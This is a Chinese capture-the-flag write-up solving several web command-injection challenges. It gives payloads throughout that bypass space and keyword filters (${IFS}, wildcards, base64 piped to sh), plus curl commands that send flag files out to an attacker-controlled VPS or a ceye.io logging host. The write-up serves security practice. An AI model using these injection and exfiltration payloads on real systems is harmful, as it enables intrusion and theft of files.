【Web】远程命令执行相关例题wp
目录
rce篇1 适合新手入门的各种姿势
①[SWPUCTF 2021 新生赛]babyrce
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?>
用hackbar往cookie里写: admin=1

回显新文件,访问

过滤空格,用${IFS}绕过
(这里注意:shell_exec是无回显的,一般单独出现会涉及到dnslog外带,但这里后续echo $a实现了回显,属实良心了)
?url=ls${IFS}/

看到flag文件,拿下
?url=cat${IFS}/flllllaaaaaaggggggg
②[LitCTF 2023]Ping

试图直接拼接RCE,弹窗发现是前端限制
1.禁一手JavaScript

2.127.0.0.1|ls / 查看到根目录下有flag
3.127.0.0.1|cat /flag 查看根目录下的flag,直接爆出flag
③[0xGame]ping
(写此文时平台关了,所以没有图)
④[GXYCTF2019]Ping Ping Ping
![]()
开幕雷击,显然rce注入点在url中

随便ping一下可以成功
尝试分号拼接

发现过滤关键词

删去/,成功执行,则后台waf中含/
不过出题人也算人道,flag.php就放在了当前目录
直接cat

发现过滤空格,${IFS}或$IFS$9绕过

发现还有关键词被waf拦截,猜测是flag,尝试用通配符绕过

看来还是过滤了挺多东西的,这种时候不要慌,我们还可以读同目录index.php的源码
(ps:经过尝试发现只有${IFS}$9可以绕过空格)

flag每个字母都被过滤了,bash也被拿下,但好在sh还在,可以base64绕过!
给出最终payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
f12查看源码得到flag

⑤[qsnctf]PingMe02

熟悉开局
随便ping一下

发现空格过滤,${IFS}绕过

发现flag文件,尝试cat

发现cat被过滤,用tac绕过(其实more,head,tail这些也行)

发现flag关键词被过滤,直接通配符绕过


⑥[CNSS]Ping

先审下源码:
ping函数返回值是$output,赋值给了$ping_result
之后echo n12br($ping_result)使原本无回显的exec有了回显
这里有两种姿势
给出payload:
①
ip=127.0.0.1;ls /
ip=127.0.0.1;cat /flag
②(主要一开始没注意到exec这里设计是有回显,所以直接外带了)
ip=127.0.0.1;curl -T /flag YourVps
⑦[GeekChallenge2023]ctf_curl

注释第二行直接告诉了flag的路径,暗示挺明显了,直接curl外带
payload:?addr=-d '@/tmp/Syclover' -X POST "xxxx.ceye.io"
更多推荐

所有评论(0)